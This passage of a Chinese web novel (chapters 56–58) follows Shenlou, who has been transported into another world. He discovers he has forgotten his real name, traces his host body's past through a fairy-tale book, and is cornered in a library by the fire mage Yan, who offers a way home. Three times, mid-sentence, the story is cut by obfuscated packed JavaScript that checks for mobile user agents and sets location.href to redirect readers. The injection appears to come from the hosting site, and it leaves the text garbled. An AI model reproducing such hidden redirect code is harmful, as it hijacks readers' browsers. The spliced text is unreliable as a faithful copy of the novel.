“先别管他了。”希娅撇了撇嘴,将话题转了回去,“你的事更要紧。皇室图书馆里是没有这种书的,不过,妈妈……弗洛瓦先女皇有个私人书室。她生前很喜欢收集这类书籍,说不定我们能在那里找到线索。” 话音刚落,她似乎想起什么,走到书桌前拉开了抽屉。这张书桌看起来有些年头,却被保养得极好,“簌”得一声,抽屉被拉到底,其中放着几本书和一些杂七杂八的小玩意,整整齐齐的,看起来有被人精心打理过。 这其中希娅最近放进去的只占极少数,大多是她失踪前留下的东西。蜃楼看见她的手指在一本书上顿了顿,将它取出来放在一边,又翻找了一阵,最后表情凝重地合上了抽屉。 “怎么了?”蜃楼问。 “不见了。”希娅蹙起眉头,似乎想起了什么,将视线投向窗外,“那间书室的钥匙明明一直在我这里。过去四年多了,其他东西都在,只有钥匙……” 指向性明确得过分了,看来是有人趁希娅不在的这段时间里拿走了钥匙。 问题是,谁呢? 蜃楼停顿了一下,脑海中闪过几个破碎的剧情片段。他试图从游戏剧情里找到一些线索,结果毫无头绪:倒不是因为他发现剧情没什么帮助,而是他实在想不起来那些微不足道的细节了。 在与系统失去联系之后,另一个世界的一切正在他的记忆里迅速远去。 意识到这一点之后,蜃楼身形一晃,有些茫然地用手撑着桌子,摸了摸自己的脸颊。 希娅注意到他的动作,担心地扶住他的胳膊。 “别担心,办法总比困难多的。”她安慰道,“实在不行我们就撬锁进去……对了,你还记得你在原来的世界叫什么名字吗?” 蜃楼看着她,张了张嘴唇,似乎有几个字要脱口而出——可话到嘴边,又如泡沫一般消散了。 他忽然意识到一个十分严峻的问题。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231774|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 他现在,连自己的“真名”都已经忘记了。 * 一波未平一波又起,希娅的通缉犯生活好不容易迎来尾声,蜃楼却迎来了他穿越以来最严峻的挑战: 他正在逐渐失去对现实的记忆。 或者更确切地说,他正在一点点地失去穿越前的人格。 他忘记了自己的名字,回想现实的朋友家人,他们的样貌也在记忆中变得模糊不清。来到这个世界后一连串的危机让蜃楼无暇回顾自己的人生,以至于直到希娅问起他的名字,他才后知后觉地发现—— 不知道从什么时候开始,他连自己的本名都想不起来了。 提到“名字”,第一时间浮现在他脑海里的,竟然是“蜃楼”这两个字。 实在令人啼笑皆非…… 希娅看着他,露出担心的表情。她大约从蜃楼的沉默里看出了什么,识趣地没再追问下去,只是用纤细的手指拍了拍他的手背,作为一种温和的安慰。 “我会送你回家的。”她认真地向他承诺,“你救了我的命,蜃楼。没有你,我什么都不是……” 她攥住蜃楼宽大的掌心。现在面对他的时候,希娅不会再想到曾经那个暴戾无常的蜃楼了;但在推测出他天外来客的身份之后,她却产生了强烈的好奇心与求知欲:她想知道他的名字、想知道他在什么样的世界里长大。可惜这个糟糕的世界,已经害她的神祇连自我都遗失了,要是再这样下去…… 他不就只能依靠她了吗? 扭曲的喜悦从希娅漆黑的眼底一闪而过。仍处于恍惚中的蜃楼没有注意到她的变化,甚至连那只悄悄将他牵紧的手也未曾察觉。 巨大的茫然几乎将他吞没,他在恍惚中回忆他在另一个世界中存在过的证据。直到片刻之后,他忽然回过神来,短促地说了一句:“我想起来了。” “什么?”希娅问。 蜃楼顿了一下,视线瞥到希娅紧握着他的手上。他脸颊一热,将手抽了回来,低声说道:“……那部电影的名字。” 在希娅困惑的目光里,他似乎沉入回忆,缓慢地说了下去:“那是个女主角误入异世界,为了拯救双亲而与魔女签订契约的故事。她被魔女剥夺了名字,只留下一个代号来着。我之前想起来的时候,还庆幸我没忘了自己的名字……” 他说到这里,忽然停住。而希娅似乎也意识到什么,表情严峻起来。 “凡事都有先后。你能记得这个故事,却忘了自己的名字。”希娅说,语气几乎是笃定的,“正常的遗忘顺序不应该是这样的。这是魔法的作用,你最近有接触其他强大的魔法师吗?” 蜃楼停顿片刻,忽然想起一个人来。 要说大魔法师,还是他最近接触过的……那不是只有那个家伙了吗? 57. 第 57 章 现世的大魔法师屈指可数,又大多醉心学术,愿意抛头露面的都已经是寥寥无几;至于蜃楼的这位“老朋友”焰,更是少数中的少数。 即便是这些年来被囿于“女神之血”的希娅,也曾听说过他的大名—— 在如今式微的魔法界中,焰是一颗熊熊燃烧的新星。 他是史无前例的、在二十岁前就步入大魔法师行列的超级天才。因为年轻气盛,行事作风一直十分高调。短短数年时间,在东洲已经是家喻户晓的名人了。 已知弗洛瓦帝国位于西洲,与东洲相隔一片辽阔的海域;而传送阵也尚未普及到魔法界人人适用的程度,两洲之间的信息差是一直存在的。 在这样的时空差距下,大洋彼端的希娅依然能听闻他的名号,此人行事的张扬程度可想而知。 但也托这点的福,焰的生平经历并不难查。尽管失去了系统的帮助,重拾了皇女权柄的希娅同样能给蜃楼提供这位大魔法师的信息。 …… 虽然蜃楼依然看不明白这个世界的文字,只能由希娅转述给他。 至少焰的人生轨迹看起来不像蜃楼那样可疑: 他在东洲一个隐世的魔法世家中出生,自幼便展现出了惊人的魔法天赋。在九岁时通过考核,成为了一名正式的魔法师,之后在家人的陪伴下四处游历。“天才少年”的名声也是那时开始传播起来的——但那时的焰尚且青涩,名声局限于东洲内部,并不为西洲的魔法师们所知。 直到他在四年后彻底突破自我,成为了一位大魔法师,名号才渐渐地传入西洲来。 那时,焰甚至还是个十三岁的孩子。 果然不论在哪个世界,天才都是让人捶胸顿足的存在。 在焰之前,最年轻的大魔法师也有三十六岁,深耕魔法界十余年,已经是天才中的天才;而焰此人,只用了零头的时间便达到了同样的成就。 这个世界对大魔法师没有特殊的认证。但无需其他证明,因为每一位大魔法师诞生于世时,其身体都会发生特别的变化。 他们的眼瞳会成为黄金一般璀璨的颜色。 焰就有着一双这样的眼睛。 再后数年则是他被东洲皇室尊为上宾、做了几年“国师”的日子。 直到今年,十八岁的焰得到弗洛瓦皇帝邀请,从遥远的东洲渡海来到王庭…… 所以说,在今年之前,他是从没来过西洲的。 可他却是“蜃楼”的朋友…… 他们又是怎么认识的? 现在的蜃楼对此只觉得头疼。他按下多余的疑问,强迫自己只关注最近发生的事情;可是仔细一想,不论是系统失联、还是忘记自己的名字,都是在他见到焰之后发生的事情。 难道焰早就察觉到了什么吗? 蜃楼心乱如麻,偏偏想不到什么立竿见影的对策。 他不可能在联络不上系统的时候找焰对峙,只能自己恶补知识,努力学习这个世界的文字、了解他们的魔法体系——强度几乎刻苦到让他梦回高考前备战的日子。 憋屈的是,在现实参加高考好歹是为了更光明的未来,可他在这个世界的苦学只是为了收拾某人留下的烂摊子而已。 希娅有时和他一起学习,更多时候则奔走在结交大臣与贵胄的路途上。 花园法庭的新审判官尚未上任,针对马坎男爵的审判将交给法庭的公民审判团来负责。希娅不知从哪儿得到了他们的名单,白日里时常带着名单出门,晚上直到深夜才回来;而在这段时间里,皇城中又死了几个德高望重的人,流言蜚语也变多了。天色一黑,家家户户便紧闭门窗,只有全副武装的卫队依旧按时巡逻。 当然,居住在王庭内的蜃楼还没察觉到这些微妙的变化。 他太忙了。除了学习,还要争分夺秒地将他还记得的事情写在纸上。在忘记自己的名字之后,巨大的不安和迷茫如天网一般将他笼罩。 尽管毫无来由,可蜃楼总担心自己会在某天失去全部的记忆,成为真正的“蜃楼”…… 他不知道情况真到了那个地步又该怎么办,只能先将自己的记忆书写下来。 至少写在纸上的字是不会凭空消失的,而简体汉字在这个世界也只有他一个人能看懂,保密性强得可怕。 …… 时间就这样在紧迫中又过去了几天。 这天是个万里无云的好天气。希娅很早出了门,蜃楼则苦中作乐,给自己泡了杯茶,缩在剑兰宫的花园里看书。 高强度学习了几天,他的脑袋隐隐作痛。希娅看出他的疲惫,从她的抽屉里取出一本童话书,让他转换转换心情。 这本书,蜃楼在希娅找钥匙的时候曾见过一次。封皮是浅绿色的,四角绘制着几朵雪白的玉兰花。那时的他尚未系统学习过这个世界的语言,当然也看不懂上面写的什么。现在虽说只是学了些皮毛,但已经能大致看懂这本书的内容了。 这是一本相当通俗易懂的小说。 讲的是一个女神爱上牧童,突破位面与他结婚生子的故事。情节本身没什么吸引人的地方,让蜃楼在意的是书中对这位女神的描述——白发金瞳,拥有奇幻的力量,身边总是浮动着海市蜃楼般灿金色的幻影。 ……这实在是太像某个人了。 他合上书,只觉得本就隐隐作痛的脑袋现在更疼了。 希娅绝对是有意让他看这本书的。可这又是什么意思,她认为蜃楼是神吗?那他身上的颈环又该怎么解释,在这个世界上,谁能拥有牵制神明的力量? 他想不明白,更想不明白的是,这本小说的书脊上还标着“上册”。这个俗套的故事,它竟然是有下册的…… 在故事的结尾,女神和牧童突破种种困难,最终结成了一对令人艳羡的爱侣。 这看起来已经是非常完美的结局了,还能怎么写下一部? 蜃楼放下书,心情复杂地捧起茶杯,脑海中忽然闪过一个破碎的画面。 他想起一件事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308496|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 在歌登镇时,“黄金少女”要收走他最珍贵之物;他也是从那时得知,那枚他从神殿里随手拿来的单片镜,竟然就是蜃楼本尊的最珍贵之物。 滔天的仇怨与悲伤,还有那个鲜血淋漓的白发男人——蜃楼直觉这段记忆与扭曲的本尊息息相关,可他当时还只想着尽快完成任务离开这个世界,并没有深究下去。 现在,他总有一种隐隐的直觉。 这本奇怪的小说,或许与蜃楼的过去有所关联。 他思索着站起身,忽然撞见阿忒菈翻墙进来。他受身时动作并不利落,脚步还有些虚浮。二人视线相撞,阿忒菈眼中闪过一丝心虚,但又立刻恢复到正常的神色,恭敬道:“主人。” 蜃楼看着他:“怎么回来了?” 自那次在图书馆撞见焰之后,蜃楼虽然应付过去,但始终心有余悸。于是派了阿忒菈去监察那位大魔法师的动向——毕竟希娅要夺嫡、季诺也忙着为希娅物色随从,只有他阿忒菈最闲,是该找点儿事来让他做做。 “我看到那位魔法师出门了。”阿忒菈站稳身子,有气无力地解释道,“他去了皇城郊外,一时半会儿应该回不来……我实在太饿了……所以。” 话音刚落,他的肚子适时地发出一声低沉的长鸣。 可要说只是单纯的肚子饿,那声音显得有些粗暴过头了;再结合阿忒菈苍白的脸色、颤颤巍巍的动作,蜃楼忽然想到一个微妙的可能性。 “你……”蜃楼顿了一下,有些震惊地问道,“不会一直没吃饭吧?” “不、不不不。”阿忒菈否认道,“完全不吃东西就没力气盯梢了,所以我有吃宫殿附近的草和花。虽然不好吃也不是很顶饱……” …… 他让阿忒菈帮忙已经是一周前的事情了。也就是说,这人已经吃了一周的草了。 该说也是他身体好吗,吃一周的草居然还有翻墙的力气…… 眼见阿忒菈顶着一张看起来马上就要猝死的脸巴巴地看着他,蜃楼一时竟有些语塞。他叹了口气,最终无奈地说:“饿了就去吃饭,这种事不用请示我。” 阿忒菈眼前一亮,砰地向他磕了个头,又翻墙出去了,这回或许是因为有了动力,连行动都利落不少。 蜃楼目送着他离开,心下好笑之余,忽然有了个想法。 既然焰出门了,那他现在再去皇室图书馆,总不会遇到他了吧? 蜃楼一合掌,回身拿起希娅给他的那本小说,便向希娅的宫殿外走去。 他总有一种隐隐的预感——只要顺着这本书查下去,他便能逐渐接近蜃楼的“本质”了。 或许更乐观地想,只要他了解“蜃楼”、知晓他的动机与目的,就能在与系统的谈判桌上获得更平等的地位。 毕竟现在,系统就是“蜃楼”的这件事情,几乎已经是呼之欲出的事实了。 所以,他究竟为什么要舍弃这具强大的身体,转而召唤另一个世界的灵魂来履行他身为男主角的职责呢? 58. 第 58 章 前任弗洛瓦女皇是个爱书如命的人。 斯人已逝,但在现任皇帝的要求下,皇室图书馆每年依然会增添至少上千本藏书。上到天文地理、下至小说怪谈,但凡市面上能搜罗到的,皇室图书馆中也必然能找到它的身影。 该说也多亏蜃楼本尊隐藏得好,这本在知情者看来都应该十分可疑的小说,在市面上似乎只是一本普通的童话故事,甚至还有些冷门,连图书馆的管理员都没听说过这本书。 蜃楼在图书馆里转了一圈,下册没找到,花神相关的宗教书籍倒是找到不少。 弗洛瓦国内对花神的狂热崇拜并非空穴来风,还有大量完备的书籍和资料作为理论支撑。蜃楼对这些没什么兴趣,只草草翻了些简略的神话故事——记载的大多是希娅和他讲过的故事版本,奴隶少女希娅与花神的代行者。偶有几本书中提到少女与代行者的外貌,也是什么“俏丽可爱”、“昳丽威严”,有些模棱两可的话。 但也并非一无所获。 他在查阅典籍的过程中了解到,这个世界关于神明的解释是完全统一的。无论是弗洛瓦的花神、异族的无名之神,还是那本小说中的女神,都遵循着一项基本原则:祂们是不能亲临人间的。 所以,至少他现在能排除两个答案了。 “蜃楼”不是人,但也不是真正意义上的神祇,而是另一种存在。 蜃楼多少算个乐观的人,这点进度已经足够让他不那么消极。他将书放回原处,正打算回到希娅的宫殿里去,却忽然感觉到一股奇妙的拉扯感。 一条红色的丝线从他身后出现,随后飞快地游入书架上方。“啪嗒”一声,在他转身的同时,丝线恰巧消失得无影无踪;与此同时,一本书掉了下来,不偏不倚地砸在他的脑袋上。 蜃楼倒抽口气,拿下书本,正想将它放回去,却听见有人在他背后叹了口气,指点道:“翻开啊,第九十六页……” 蜃楼侧过身去,果然看见某本应在皇城郊外的赤发法师,不知何时已经站到了他身后。 彩绘窗外的阳光照射进来,玫瑰状的光斑在他年轻的脸颊上留下一道鲜艳的投影;与此同时,一条纤细的红线从蜃楼手中的书脊里钻了出来,飞快地汇进焰的身体里。 “看我干什么?”焰恨铁不成钢地督促道,“看书啊!” …… 蜃楼于是翻开这本书的第九十六页。他的目光扫过书页上密集的文字,最后在某一行停顿下来。 他识的字不多,不比这个世界的孩子博学多少。但这本书是本通俗的故事集,对于初学者而言也十分容易理解,第九十六页的内容则是一个寓言——讲述的是一则类似于“农夫与蛇”的故事;只是故事中的农夫是个魔法师,而蛇则是个看守花田的奴隶。 蜃楼只扫了一眼,便飞快地将故事中的角色对号入座了。 农夫与蛇、魔法师和奴隶,代行者与开国女帝“希娅”…… “所以呢?”他合上书,冷声开口,“你想表达什么?” 焰看着他,忽然扯出一个意味深长的微笑来。那双与蜃楼如出一辙的灿金色眼眸深处,似乎有什么在缓慢地流动,让此时站在他面前的蜃楼,无端地感到不安。 “别装了。”焰说,他年轻的脸上浮现出与年龄不符的嘲讽,“你不就是想知道这些事情,才跑来这里的吗?” 阿忒菈明明看见他出门了。可为什么他现在会出现在这里? “……”蜃楼蹙起眉头,忽然反应过来,“你对阿忒菈——” 他对阿忒菈做了什么? “阿忒菈?”焰歪着头,重复了一遍他说的话,“哦……你是说那个红眼的异族人?” “我没对他做什么。”焰说,“你是不是有点天真?有没有可能,是他出卖了你呢?” 随着他的动作,那颗一直戴在焰左耳上的宝石耳环也显露出来。长长的流苏落到他华美的上衣上,而焰漫不经心地摘下它,取下那颗金色的魔石,口中飞快地吟诵了一串咒语。 血红色的丝线从他的身体里涌现出来,如蚕蛹一般紧紧地包裹住那颗魔石,随后与它融为一体。 他将那枚魔石递给蜃楼,蜃楼却没有接下的意思。 “咱们不如打开天窗说亮话吧。”焰见他这样抗拒,却不意外,只是爽朗地笑了一声,半强迫地将那颗魔石塞进他手心里,“比如,我早就知道你不是他了。” 金色的魔石在他手中发散出滚烫的热度。蜃楼看着他,眼中并没有多少意外——倒不如说,自他知道本尊还有这么一个“老朋友”之后,就做好了迟早掉马的准备。 他现在也无心纠结这些了。 “给我这个做什么?”蜃楼拿着那枚魔石,不解地问道。 “这是便携式位面观测装置。”焰解释道,然后对上蜃楼茫然的眼睛,嘴角抽了抽,“……算了。简单地说,这是能暂时送你回到原来世界的装置。” “啊?”蜃楼吃了一惊,一时竟不知道该从哪里开始吐槽起来,“你怎么知道我是……不对,你在帮我?” “这难道不明显吗?”焰反问道,“如果我不想帮你,你根本没有成功踏入皇城的机会。” 蜃楼看着手中的魔石,陷入沉默。 他说得当然没错。毕竟现在的蜃楼只是个鸠占鹊巢的“大魔法师”,而焰可是货真价实的天才。自他和系统断联之后,焰有一万种办法揭示他的身份——可他并没有那么做。 “长话短说,我需要那个蜃楼回来,当然,送你回去也是顺便的事。”焰说着,用手指了指那颗不太一样的魔石,“这就是我的诚意。但是,让灵魂穿越位面的办法,只有蜃楼自己知道。你现在用着他的身体,也能吸收他的魔力;一个魔法师的魔力是能够承载记忆和情感的,说到这里,你应该知道我需要你做什么了吧。” 说到这里,焰的意图已经显而易见了。 他要他继续回收那些本尊流落在外的力量,找回蜃楼本尊的记忆,从中获取穿越世界的办法。 但他不知道的是,类似的事情,蜃楼在歌登镇时早已经做过一次了。 那万箭穿心般的疼痛他至今难以忘怀,此时明白了焰的意思,方才放下一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336695|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的警戒心又立刻回笼。他后退一步,目光扫过被焰挡住的通路,在心中盘算离开的对策。 而焰注意到他的动作,眼瞳中划过一丝异样的色彩。他眯起眼睛,那些鲜红的丝线又在他身后缓慢地冒了出来;那似乎是他魔力性质的体现,如他赤红的长发,张扬、灼目,又充满危险。 没有系统的指引,蜃楼摸不清他那些红线的具体性质。 但能看出来这家伙是没给他准备拒绝的选项了。他闭了闭眼睛,直觉这个世界的强者似乎都喜欢干些强买强卖的事情—— 可同样的事他已经遭遇过一次了,总不能再上第二次当吧? “如果我是你,就不会在这里犹豫。”焰看着他,一字一句地说,“还是说,比起我,你更相信那个蜃楼?” 蜃楼蹙起眉头,没有立刻回答他。 焰却将他的沉默当成了动摇。他挡住蜃楼的去路,面上的表情变得不太友善。少年背后涌出的红线编织成网,将他们两个人严严实实地围了起来。 簌簌的风声在蜃楼耳边响起,蜃楼觉察脚下似乎有什么滚烫的东西缠上了他。他低下头去,忽然想起希娅不久前告诉他的一件事情。 在这个世界上,目前在世的,只有七位大魔法师。 七位大魔法师中,又有不同的主攻方向,分别对应魔力的七种基本性质。 虽然在魔法界中,这七种性质都有相当详尽且复杂的解释,但根据蜃楼阅文无数的经验,他将其简单地理解为金、木、水、火、土、光、暗七种元素。 这七种元素相生相克,也让七位大魔法师之间形成了微妙的制衡关系。而焰作为第六位大魔法师,他身体中魔力的性质,则是炙热的“火”。 以火星编制而成的红色丝线缠绕上他的脚腕,噼啪一声,蜃楼的靴子被火线熔化,飘起一阵呛人的黑烟。 “别敬酒不吃吃罚酒啊,外地人。”赤发法师逼近他,周围的空气也开始升温,“你也不想自己是个冒牌货的事情被人发现吧?其实我很热情好客的……” 蜃楼看着他,露出微妙的表情。 一缕红线贴到他苍白的面颊上,发出“呲”的一响。针扎般的疼痛传来,蜃楼摸了摸脸颊,他没有流血,被灼伤的地方流下的是几滴黄金般闪耀的液体。 仔细一想,他从穿越过来到现在,几乎没有受过外伤。 ……这样奇怪的□□,更加佐证本尊非人的身份。 蜃楼沉吟片刻,忽然张口道,语气仿佛服软:“你说得对。” 这个世界的大魔法师是很强大的存在。 而焰这样年少成名、又与蜃楼本尊私交匪浅的,更是精英中的精英。 不说外来者,哪怕是弗洛瓦皇室成员,对待他也要礼敬三分。向他服软,虽然是权宜之计,却是蜃楼当下最合适的做法—— 毕竟焰不但强大,还知晓他的秘密。 其实,这也正是焰的想法。他掐准了蜃楼不会希望他将他冒牌货的身份公之于众,就没考虑过他拒绝的可能。 然而下一秒,忽有潮水铺天盖地地涌来……